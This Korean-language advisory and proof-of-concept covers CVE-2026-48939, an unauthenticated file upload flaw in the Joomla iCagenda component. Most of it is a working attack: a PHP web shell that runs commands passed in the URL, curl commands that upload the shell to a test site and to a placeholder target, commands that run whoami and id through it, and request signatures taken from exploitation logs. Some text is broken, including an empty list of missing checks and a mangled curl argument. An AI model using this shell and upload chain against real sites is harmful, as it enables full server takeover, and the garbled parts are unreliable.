
iCagenda 인증되지 않은 파일 업로드를 통한 RCE
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-48939 |
| CVSS 4.0 점수 | 10.0 치명적 |
| CVSS 벡터 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: 부적절한 접근 제어 |
| 영향받는 버전 | iCagenda 3.2.1 - 3.9.14 및 4.0.0 - 4.0.7 |
| 수정된 버전 | iCagenda 4.0.8 및 3.9.15 |
| 게시일 | 2026년 6월 20일 |
iCagenda는 Joomla용 인기 있는 이벤트 및 달력 구성 요소로, 인증되지 않은 파일 업로드 취약점이 있어 원격 공격자가 Joomla 6 사이트에서 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.
취약점은 프런트엔드 이벤트 제출 양식의 파일 첨부 기능에 존재합니다:
접근 제어 누락: 제출 엔드포인트(index.php?option=com_icagenda&task=registration.submit)는 인증을 강제하지 않아 "등록 사용자만" 접근 설정을 우회합니다.
파일 검증 없음: 업로드된 파일은 다음 없이 원래 확장자로 저장됩니다:
직접 파일 쓰기: 파일은 웹 루트 바로 아래의 /images/icagenda/frontend/attachments/[filename]에 기록됩니다.
PHP 실행: Joomla 6에서 업로드된 .php 파일은 실행 가능하므로 원격 코드 실행(RCE)으로 이어집니다.
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
취약한 엔드포인트 식별:
https://target.com/index.php?option=com_icagenda&task=submit
PHP 웹 셸 업로드:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
셸 실행:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
실제 악용 로그에 기반한 공격 시그니처는 다음과 같습니다:
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda 폴더를 임시로 제거하거나 이름 변경이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.